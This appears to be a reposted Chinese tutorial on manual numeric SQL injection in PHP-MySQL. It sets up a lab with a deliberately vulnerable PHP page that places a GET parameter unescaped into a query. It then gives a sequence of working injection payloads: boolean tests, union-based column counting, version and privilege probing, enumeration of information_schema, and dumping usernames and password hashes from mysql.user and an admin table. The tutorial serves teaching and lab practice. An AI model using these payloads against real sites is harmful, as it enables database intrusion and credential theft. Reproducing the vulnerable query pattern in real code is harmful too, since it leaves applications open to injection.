mysql 数值型注入_SQL注入之PHP-MySQL实现手工注入-数字型
SQL注入，就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。具體來說，它是利用現(xiàn)有應(yīng)用程序，將(惡意的)SQL命令注入到后臺數(shù)據(jù)庫引擎執(zhí)行的能力，它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網(wǎng)站上的數(shù)據(jù)庫，而不是按照設(shè)計者意圖去執(zhí)行SQL語句。 比如先前的很多影視網(wǎng)站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的，這類表單特別容易受到SQL注入式攻擊。
整形注入目錄：
搭建測試環(huán)境
手工判斷SQL注入點
判斷數(shù)據(jù)庫權(quán)限
判斷字段數(shù)
判斷數(shù)據(jù)庫版本
查詢數(shù)據(jù)庫名稱
查詢字段
查詢表中數(shù)據(jù)
搭建注入測試環(huán)境
1.首先在實驗之前我們需要搭建相應(yīng)的環(huán)境以供下面SQL注入例子的練習(xí).
a.這里我們在Centos 7 上搭建一個LAMP環(huán)境.
[root@localhost ~]# yum install -y httpd httpd-devel mariadb mariadb-server mysql-devel php php-mysql php-common php-gd php-xml
已加載插件：fastestmirror
Loading mirror speeds from cached hostfile
軟件包 httpd-2.4.6-80.el7.centos.x86_64 已安裝并且是最新版本
軟件包 httpd-devel-2.4.6-80.el7.centos.x86_64 已安裝并且是最新版本
軟件包1:mariadb-5.5.56-2.el7.x86_64 已安裝并且是最新版本
軟件包1:mariadb-server-5.5.56-2.el7.x86_64 已安裝并且是最新版本
軟件包1:mariadb-devel-5.5.56-2.el7.x86_64 已安裝并且是最新版本
軟件包 php-5.4.16-45.el7.x86_64 已安裝并且是最新版本
軟件包 php-mysql-5.4.16-45.el7.x86_64 已安裝并且是最新版本
軟件包 php-common-5.4.16-45.el7.x86_64 已安裝并且是最新版本
軟件包 php-gd-5.4.16-45.el7.x86_64 已安裝并且是最新版本
軟件包 php-xml-5.4.16-45.el7.x86_64 已安裝并且是最新版本
b.進(jìn)入MySQL并創(chuàng)建一個測試用的數(shù)據(jù)表,寫入一些查詢數(shù)據(jù).
[root@localhost ~]# mysql -uroot -p
Enter password:
Welcometo the MariaDB monitor. Commands end with ; or\g.
Your MariaDB connection idis 10Server version:5.5.56-MariaDB MariaDB Server
Copyright (c)2000, 2017, Oracle, MariaDB Corporation Ab andothers.
Type'help;' or '\h' for help. Type '\c' to clear the currentinput statement.
MariaDB[(none)]> create databaselyshark;
Query OK,1 row affected (0.06sec)
MariaDB[(none)]> uselyshark;Databasechanged
MariaDB[lyshark]> create tablelyshark (-> `id` int(10) NOT NULL,-> `title` varchar(1000) NOT NULL,-> `text` varchar(1000) NOT NULL
->);
Query OK,0 rows affected (0.13sec)
MariaDB[lyshark]> insert into `lyshark` (`id`, `title`, `text`) values (1,'admin','hello admin');
Query OK,1 row affected (0.00sec)
MariaDB[lyshark]> insert into `lyshark` (`id`, `title`, `text`) values (2,'lyshark','hello lyshark');
Query OK,1 row affected (0.06sec)
MariaDB[lyshark]> insert into `lyshark` (`id`, `title`, `text`) values (3,'guest','hello guest');
Query OK,1 row affected (0.00 sec)
c.在apache網(wǎng)頁目錄下新建一個index.php文件，配置好權(quán)限.
$id = $_GET['id'];
$connection= mysql_connect("127.0.0.1","root","123");
mysql_select_db("lyshark",$connection);
$myquery= "select * from lyshark where id=$id";
$result=mysql_query($myquery);while($row =mysql_fetch_array($result)){echo "編號:".$row['id']."
";echo "標(biāo)題:".$row['title']."
";echo "內(nèi)容:".$row['text']."
";echo "
";
}
mysql_close($connection);echo "執(zhí)行的SQL語句:".$myquery."
";?>
d.訪問主頁測試看是否能讀取數(shù)據(jù)
http://localhost/index.php?id=1
手工判斷SQL注入點
提交單引號
使用and和or判斷
我們也可以在參數(shù)后面加上 and 1=1 來判斷是否存在注入點
和 and 1=0 對比一下看看有啥不同
經(jīng)過上面的對比，我們可以看到 and 1=1 返回了數(shù)據(jù)，而and 1=0沒有，這是由于1=1是一個為真的條件，前面的結(jié)果是true，true and true 所以沒有任何問題，第二個 1=0 是個假條件， true and false 還是false，所以并沒有數(shù)據(jù)返回。
接下來看下or、or就是或者，兩個都為假，才會為假，只要一個為真就為真，把語句后面的id改成一個不存在的，后面接上or 1=1，這樣的話就成了 false or true，結(jié)果為true。
下圖可以看到,沒有返回數(shù)據(jù),記錄不存在.
通過加法和減法判斷
加法和減法的使用要區(qū)別是數(shù)字型還是字符型的注入、然后來區(qū)分了、可以看他后面的參數(shù)如果是數(shù)字、就一定是數(shù)字型、如果是一些字母的話就是字符型注入。
例如
select \* from user where id=4 #數(shù)字型注入 sql 語句
select \* from user where username=’fendo’ #字符型注入 sql 語句
輸入加號
我們在參數(shù)輸入1+1，看看返回的數(shù)據(jù)是不是id等于2的結(jié)果，這里注意一下+號在SQL語句是有特效含義的，所以我們要對其進(jìn)行url編碼，最后也就是%2b。
輸入減號
減法是同樣的道理，不過不需要對-號進(jìn)行url編碼了
判斷數(shù)據(jù)庫權(quán)限
判斷ROOT權(quán)限,如果數(shù)值則說明存在root權(quán)限,否則不存在
and ord(mid(user(),1,1))=114
或者：
and (select count(\*) from mysql.user)>0
解釋：
and (select count(\*) from mysql.user)>0 #如果結(jié)果返回正常,說明具有讀寫權(quán)限。
and (select count(\*) from mysql.user)>0 #返回錯誤，應(yīng)該是管理員給數(shù)據(jù)庫帳戶降權(quán)了。
判斷字段數(shù)
對于判斷字段數(shù)有兩種常用的猜測方式：
方式1：用union聯(lián)合查詢：and 1=1 union select 1,2,3,4,5…… 或 union select null,null,null……
UNION SELECT 聯(lián)合查詢：可以用于一個或多個SELECT的結(jié)果集，但是他有一個條件，就是兩個select查詢語句的查詢必須要有相同的列才可以執(zhí)行，利用這個特性我們可以進(jìn)行對比查詢，也就是說當(dāng)我們union select的列與它查詢的列相同時，頁面返回正常。在and后面加上1=1或1=2的作用后面會講。
例如：
a.首先猜測,當(dāng)字段為2時頁面返回錯誤
b.增加一個字段,為3時,頁面顯示正確
c.再次增加一個字段,為4時,頁面顯示錯誤
上面的結(jié)果,說明字段數(shù)就是3，輸入的數(shù)大于或小于字段數(shù)時都會報錯。使用 union select null,null,null 是一樣的效果。
方式2：用order by 查詢“order by * -- order by
order by查詢：在sql語句中是對結(jié)果集的指定列進(jìn)行排序，比如我們想讓結(jié)果集按照第一列排序就是 order by 1 按照第二列排序 order by 2 依次類推，按照這個原理我們來判斷他的字段數(shù)，如果我們按照他的第1列進(jìn)行排序數(shù)據(jù)庫會返回正常，但是當(dāng)我們按照第100列排序，但是數(shù)據(jù)庫中并不存在第100列，從而報錯。
例如：
a.當(dāng)我們測試到4時數(shù)據(jù)庫無法顯示數(shù)據(jù).
b.說明該表只有三個字段.
===================這里存在兩個小問題===================
第一個：大部分程序只會調(diào)用數(shù)據(jù)庫查詢的第一條語句進(jìn)行查詢?nèi)缓蠓祷?我們這個也是)，而通過聯(lián)合查詢出的數(shù)據(jù)中，我們想看到的數(shù)據(jù)是在第二條語句中，如果我們想看到我們想要的數(shù)據(jù)有兩種方法，第一種是讓第一條數(shù)據(jù)返回假，
第二種是通過sql語句直接返回我們想要的數(shù)據(jù)。
第一種：我們讓第一個查詢的結(jié)果始終為假
上圖可看到,什么都沒有顯示,因為填充時使用的null,所以返回的就是空null.
第二種：通過limit語句，limit在mysql中是用來分頁的，通過他可以從查詢出來的數(shù)據(jù)中獲取我們想要的數(shù)據(jù)
LIMIT 子句可以被用于強制 SELECT 語句返回指定的記錄數(shù)。LIMIT 接受一個或兩個數(shù)字參數(shù)。參數(shù)必須是一個整數(shù)常量。如果給定兩個參數(shù)，第一個參數(shù)指定第一個返回記錄行的偏移量，第二個參數(shù)指定返回記錄行的最大數(shù)目，初始記錄行的偏移量是 0(而不是 1)。
例如：
SELECT * FROM table LIMIT 5,10; // 檢索記錄行 6-15
在地址偶棉加入以下代碼看看：
上圖結(jié)果返回也是空，因為這使用的null，所以返回的還是null。
第二個：哪個列中的數(shù)據(jù)是在頁面中顯示出來的，有一些列中的數(shù)據(jù)只是用于后臺程序處理，并不會在前臺顯示，所以我們需要判斷哪個字段我們可以看到。
所以，我們要通過數(shù)字代替NULL進(jìn)行查詢，來確定哪些字段會在頁面中顯示。這也就是為什么我們不一開始就用數(shù)字而用null，因為union select 不僅要求列的數(shù)量相同 同時數(shù)據(jù)類型也要相似。
查詢數(shù)據(jù)庫版本
版本大于5.0的mysql的information_schema庫中存儲著mysql的所有數(shù)據(jù)庫和表結(jié)構(gòu)信息，所以可以利用information_schema庫快速注入。
通過下面的語句可以判斷數(shù)據(jù)庫版本:
and ord(mid(version(),1,1))>51
解釋1：確認(rèn)數(shù)據(jù)庫版本,51是ASCII碼3 正確則>4.0 錯誤則<4.0，當(dāng)版本大于3.0時才能使用union方法；
解釋2：ord()是mysql的函數(shù)用于獲取二進(jìn)制碼；
解釋3：mid()是mysql的函數(shù)用于截位操作；
解釋4：version()是mysql的函數(shù)用于獲取當(dāng)前數(shù)據(jù)庫的版本；
顯示正確：我這用的的mysql版本是大于5.0的
查詢數(shù)據(jù)庫名稱
方法1：
可以直接使用mysql自帶函數(shù)database()查詢得到數(shù)據(jù)庫名：
方法2：
使用以下語句語句得到所有的數(shù)據(jù)庫名：
index.php?id=2 union select null,schema_name,null from information_schema.schemata
還可以獲取第一個庫名：
index.php?id=2 union select null,schema_name,null from information_schema.schemata limit 0,1
上圖,并沒有顯示數(shù)據(jù)庫名而顯示的是第一條語句查詢出來的結(jié)果。在union前面加上and 1=2，就能顯示出來了。
index.php?id=2 and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,1
獲取第二個庫名：
index.php?id=2 and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,2
以此類推,即可獲取到全部庫..
查詢數(shù)據(jù)表名稱
在MySQL中，表名存放在information_schema數(shù)據(jù)庫下tables表table_name字段中、查表名我們主要用到的是TABLES表。
方法1：
用group_concat它可以返回查詢的所有結(jié)果，因為我們需要通過命名判斷該我們需要的敏感數(shù)據(jù)。
group_concat()會計算哪些行屬于同一組，將屬于同一組的列顯示出來。要返回哪些列，由函數(shù)參數(shù)(就是字段名)決定。分組必須有個標(biāo)準(zhǔn)，就是根據(jù)group by指定的列進(jìn)行分組。
index.php?id=2 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='lyshark'
上圖返回時正確的,數(shù)據(jù)庫中就這3張表、這里我們的目標(biāo)是lyshark表、因為當(dāng)前的數(shù)據(jù)就是lyshark表中獲取的。
方法2：
同樣,使用下面的語句也是可以查出來的。
index.php?id=2 union select null,table_name,null from information_schema.tables where table_schema='lyshark'
查詢字段
在MySQL中，字段名存放在information_schema數(shù)據(jù)庫下columns表column_name字段中,這里使用的是columns表。
方法1：
index.php?id=2 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='lyshark' and table_name='lyshark'
我們也可以查看mysql庫user表中的字段。
index.php?id=2 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='mysql' and table_name='user'
上圖可以看出,我們已得到mysql庫user表的所有字段.
方法2：
index.php?id=2 union select null,column_name,null from information_schema.columns where table_schema='mysql' and table_name='user'
同理,此處就不截圖了.
查詢表中數(shù)據(jù)
最終想得到的就是字段里的內(nèi)容了、前面的數(shù)據(jù)庫名、表名都獲得了、獲取值就很簡單了。
方法1：
查詢lyshark庫中l(wèi)yshark表中所有數(shù)據(jù)。
index.php?id=2 and 1=2 union select 1,group_concat(id,title,text),3 from lyshark
查詢mysql數(shù)據(jù)庫user表中的,Host,User,Password字段的內(nèi)容.
index.php?id=2 and 1=2 union select 1,group_concat(Host,User,Password),3 from mysql.user
上圖可以報出mysql的敏感數(shù)據(jù).
方法2：
index.php?id=2 union select null,title,content from lyshark
index.php?id=2 union select Host,User,Password from mysql.user
方法3：
index.php?id=2 and 1=2 union select 1,2,concat(user,0x3c,pwd) from admin
方法2和方法3作用相同,此處不截圖了。
總結(jié)
以上是生活随笔為你收集整理的mysql 数值型注入_SQL注入之PHP-MySQL实现手工注入-数字型的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： mysql 后10条_Mysql 保留
- 下一篇： solr5.3.1 mysql_Solr